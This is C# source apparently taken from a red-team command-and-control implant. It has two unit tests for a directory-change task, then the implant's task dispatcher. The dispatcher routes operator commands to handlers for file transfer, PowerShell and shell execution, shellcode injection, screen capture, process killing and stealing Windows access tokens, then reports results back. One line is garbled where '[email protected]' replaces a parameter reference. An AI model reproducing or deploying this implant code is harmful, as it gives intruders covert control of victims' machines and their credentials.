public void CdTestInvalid() { // Ensure we're in a different directory System.IO.Directory.SetCurrentDirectory("C:\\"); Task task = new Task("cd", "C:\\asdfasdthetherhasdf", "1"); Job job = new Job(task, null); ChangeDir.Execute(job, null); // Ensure the task is marked as complete Assert.IsTrue(task.status == "error"); // Change working directory back System.IO.Directory.SetCurrentDirectory("C:\\"); }
public void CdTest() { // Ensure we're in a different directory System.IO.Directory.SetCurrentDirectory("C:\\"); Task task = new Task("cd", "C:\\Users\\Public", "1"); Job job = new Job(task, null); ChangeDir.Execute(job, null); // Ensure the task is marked as complete Assert.IsTrue(task.status == "complete"); // Ensure the current working directory has changed Assert.AreEqual("C:\\Users\\Public", Environment.CurrentDirectory); // Change working directory back System.IO.Directory.SetCurrentDirectory("C:\\"); }
/// <summary> /// Handle a new task. /// </summary> /// <param name="implant">The CaramelImplant we're handling a task for</param> public void DispatchTask(SCImplant implant) { if (this.command == "cd") { Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params); ChangeDir.Execute(this); } else if (this.command == "download") { Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params); Download.Execute(this, implant); } else if (this.command == "execute_assembly") { Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params); Tasks.ExecAssembly.Execute(this, implant); } else if (this.command == "exit") { Debug.WriteLine("[-] DispatchTask - Tasked to exit"); Exit.Execute(this, implant); } else if (this.command == "jobs") { Debug.WriteLine("[-] DispatchTask - Tasked to list jobs"); Jobs.Execute(this, implant); } else if (this.command == "jobkill") { Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}"); Jobs.Execute(this, implant); } else if (this.command == "kill") { Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params); Kill.Execute(this); } else if (this.command == "ls") { string path = this.@params; Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path); DirectoryList.Execute(this, implant); } else if (this.command == "make_token") { Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + [email protected](' ')[0]); Token.Execute(this); } else if (this.command == "ps") { Debug.WriteLine("[-] DispatchTask - Tasked to list processes"); ProcessList.Execute(this); } else if (this.command == "powershell") { Debug.WriteLine("[-] DispatchTask - Tasked to run powershell"); Powershell.Execute(this); } else if (this.command == "rev2self") { Debug.WriteLine("[-] DispatchTask - Tasked to revert token"); Token.Revert(this); } else if (this.command == "run") { Debug.WriteLine("[-] DispatchTask - Tasked to start process"); Proc.Execute(this, implant); } else if (this.command == "screencapture") { Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot."); ScreenCapture.Execute(this, implant); } else if (this.command == "shell") { Debug.WriteLine("[-] DispatchTask - Tasked to run shell command."); Proc.Execute(this, implant); } else if (this.command == "shinject") { Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode."); Shellcode.Execute(this); } else if (this.command == "sleep") { try { int sleep = Convert.ToInt32(this.@params); Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep); implant.sleep = sleep * 1000; this.status = "complete"; } catch { Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int"); this.status = "error"; this.message = "Please provide an integer value"; } } else if (this.command == "spawn") { Debug.WriteLine("[-] DispatchTask - Tasked to spawn"); Spawn.Execute(this); } else if (this.command == "steal_token") { Debug.WriteLine("[-] DispatchTask - Tasked to steal token"); Token.Execute(this); } else if (this.command == "upload") { Debug.WriteLine("[-] DispatchTask - Tasked to get file from server"); Upload.Execute(this, implant); } this.SendResult(implant); }